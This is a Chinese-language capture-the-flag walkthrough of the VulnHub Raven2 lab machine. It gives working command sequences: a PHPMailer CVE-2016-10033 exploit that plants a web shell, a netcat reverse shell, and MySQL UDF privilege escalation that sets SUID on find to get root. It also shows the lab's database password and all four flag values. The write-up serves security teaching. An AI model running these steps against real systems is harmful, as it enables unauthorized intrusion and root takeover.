3-vulnhub Raven2

下载地址为:https://download.vulnhub.com/raven/Raven2.ova

本次的靶机ip为192.168.3.14(桥接模式自动获取)

目标:拿到4个flag



一、信息搜集

1.扫描ip

3-vulnhub Raven2实战_mysql

2.扫描端口,这里使用nmap:

​nmap -p 1-65535 -sV 192.168.3.14​

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-06 23:06 CST
Nmap scan report for 192.168.3.14
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
56310/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds

3.扫描目录,这路使用dirb:

(进行分析结果发现有wordpress可以进行利用一波)

​dirb http://192.168.3.14/​

==> DIRECTORY: http://192.168.3.14/css/
==> DIRECTORY: http://192.168.3.14/fonts/
==> DIRECTORY: http://192.168.3.14/img/
+ http://192.168.3.14/index.html (CODE:200|SIZE:16819)
==> DIRECTORY: http://192.168.3.14/js/
==> DIRECTORY: http://192.168.3.14/manual/
+ http://192.168.3.14/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://192.168.3.14/vendor/
==> DIRECTORY: http://192.168.3.14/wordpress/
---- Entering directory: http://192.168.3.14/manual/ ----

这里扫出来好多,就不再依依进行描述!



4.相关信息

微件(Widgets) OWL Carousel
字体脚本 Google Font API Font Awesome
杂项 Popper 1.12.9
Web 服务器 Apache 2.4.10
操作系统 Debian
地图 Google Maps
JavaScript 库 jQuery 2.2.4
用户界面(UI)框架 animate.css Bootstrap 4.0.0



二、getshell

1.查找flag1

查看扫出来的目录文件发现在http://192.168.3.14/vendor/PATH页面有一个flag,继续向下翻,一些PHPMailer的说明文档等文件,没什么用。

3-vulnhub Raven2实战_python_02

2.查找相关漏洞

在​​http://192.168.3.14/vendor/VERSION​​页面发现PHPMailer的版本号5.2.16(可以进行利用一波)

网上找了找了一下他的简单介绍:PHPMailer是一个用于发送电子邮件的PHP函数包。可以先找一下可以利用的漏洞,进行尝试!

3-vulnhub Raven2实战_mysql_03

3.40974.py进行getshell

接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:​​https://github.com/opsxcq/exploit-CVE-2016-10033​

scp -r exploit-CVE-2016-10033-master root@192.168.3.12:/tmp

没有成功,在用msf进行尝试!

3-vulnhub Raven2实战_web_04

使用命令 ​​searchsploit -m 40974.py -m:复制到当前目录下​

4.修改参数

复制之后这里要修改一下文件中的参数:

3-vulnhub Raven2实战_php_05

(这里在第一个参数后面加/contact 2.路径是在当时的flag页面找到的!!!)

执行时报错找了一下原因原来是得添加申明,否则非ASCII码字符会报错这里在文件上面加一行:

`#!/usr/bin/python
# -*- coding: utf-8 -*-`

3-vulnhub Raven2实战_php_06

(如果报错就百度查一下根据提示进行排错 参考:需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。)

3-vulnhub Raven2实战_靶机_07

5.进行监听

进行访问​​http://192.168.3.14/contact.php​​在进行监听

访问刚刚木马文件​​http://192.168.3.14/ice.php​

nc -lvv 4444
/bin/sh: 0: can't access tty; job control turned off
$ ls
Security - Doc
about.html
contact.php
contact.zip
css

成功获得shell!

6.找到第二个flag

找到第二个flag:flag2{6a8ed560f0b5358ecf844108048eb337}

3-vulnhub Raven2实战_php_08

7.找到第三个flag

find /var/www/html -name flag*

3-vulnhub Raven2实战_python_09

访问页面:​​http://192.168.3.14/wordpress/wp-content/uploads/2018/11/flag3.png​

3-vulnhub Raven2实战_mysql_10

既然有wordpress那么我们可以先看一下他有没有数据库配置文件:

在/var/www/html/wordpress/wp-config.php里面找到

3-vulnhub Raven2实战_靶机_11

用户名为:root
密码为:R@v3nSecurity



三、提权

1.进入Python交换式Shell:

(执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

$ python -c 'import pty;pty.spawn("/bin/bash")';
www-data@Raven:/var/www/html$

2.这里利用工具LinEnum(Linux枚举及权限提升检查工具)

直接下载:

​https://github.com/rebootuser/LinEnum​

搭建http服务进行EXP文件传输:

​python3 -m http.server 8000​

进行下载:

​wget http://192.168.3.2:8000/LinEnum-master/LinEnum.sh​

加执行权限:

​chmod +x LinEnum.sh​

执行:

(可以查看到Mysql是用root登陆的)

3-vulnhub Raven2实战_php_12

3.执行,查看以root用户身份运行的所有进程

除了用工具也可以直接输入命令
(ps aux | grep root查看到当前以root用户身份运行的所有进程。)

4.登录数据库

既然知道了数据库用户名密码那么我们可以进行登录查看他的版本信息 搜集有没有相关的漏洞:

mysql -u root -p R@v3nSecurity
mysql -u root -p R@v3nSecurity
Enter password: R@v3nSecurity

3-vulnhub Raven2实战_mysql_13

5.使用mysql udf提权,进行下载

可以看到版本为5.5.60,查看相关漏洞

3-vulnhub Raven2实战_靶机_14

进行利用,找到他的exp:

(这里有两种方法 一种是msf下载 另一种是网上下载)

1.searchsploit mysql udf

2.网上下载​​https://www.exploit-db.com/exploits/1518​

6.编译

下载完之后进行编译:

chmod +x 1518.c 
root@ice:~# gcc -g -c 1518.c
root@ice:~# gcc -g -shared -o ice.so 1518.o -lc
root@ice:~# ls
1518.c 40847.cpp 模板 图片 下载 桌面 ice.so subdomain3
1518.o 公共 视频 文档 音乐 ice small.apk xiaoxiao.apk
root@ice:~# scp ice.so ice@192.168.3.2:/Users/ice/Downloads/
Password:
ice.so 100% 19KB 14.1MB/s 00:00

注释:
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

7.进行插入数据

use mysql; 
#进入数据库
create table foo(line blob);
#创建数据表foo
insert into foo values(load_file('/tmp/ice.so'));
#插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/ice.so';
#( Foo表成功插入二进制数据,
然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数)
create function do_system returns integer soname 'ice.so';
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行
root命令)
quit

8.退出之后,执行find命令 使用find执行 shell

touch ice
www-data@Raven:/tmp$ find ice -exec 'whoami' \;
find ice -exec 'whoami' \;
root
www-data@Raven:/tmp$ find ice -exec '/bin/sh' \;
find ice -exec '/bin/sh' \;
whoami
whoami
root

3-vulnhub Raven2实战_python_15

9.寻找第四个flag

cd /root
cd /root
# ls
ls
flag4.txt
# cat flag4.txt
cat flag4.txt
___ ___ ___
| _ \__ ___ _____ _ _ |_ _|_ _|
| / _` \ V / -_) ' \ | | | |
|_|_\__,_|\_/\___|_||_|___|___|

flag4{df2bc5e951d91581467bb9a2a8ff4425}

CONGRATULATIONS on successfully rooting RavenII

I hope you enjoyed this second interation of the Raven VM

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
#

10.找到flag4

​flag4{df2bc5e951d91581467bb9a2a8ff4425}​

3-vulnhub Raven2实战_mysql_16

引用到的知识:

(udf提权是用户自定义函数 是通过添加新函数,对MYSQL的功能进行扩充)

通常udf在Mysql5.1后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’.。假设我的udf文件的名称为‘udf.dll’,存放在Mysql根目录的‘lib/plugin’目录下。在udf.dll文件中,我们定义了名为sys_eval的mysql函数,该函数可以执行系统任意命令。如果我现在在Mysql的命令行中输入‘select sys_eval(‘dir’);’的话,系统会提示sys_eval函数未定义。因为我们仅仅是把‘udf.dll’放在了一个地方,但是并没有在Mysql中引入’udf.dll’中的函数。所以,应该把’udf.dll’中的自定义函数引入进来。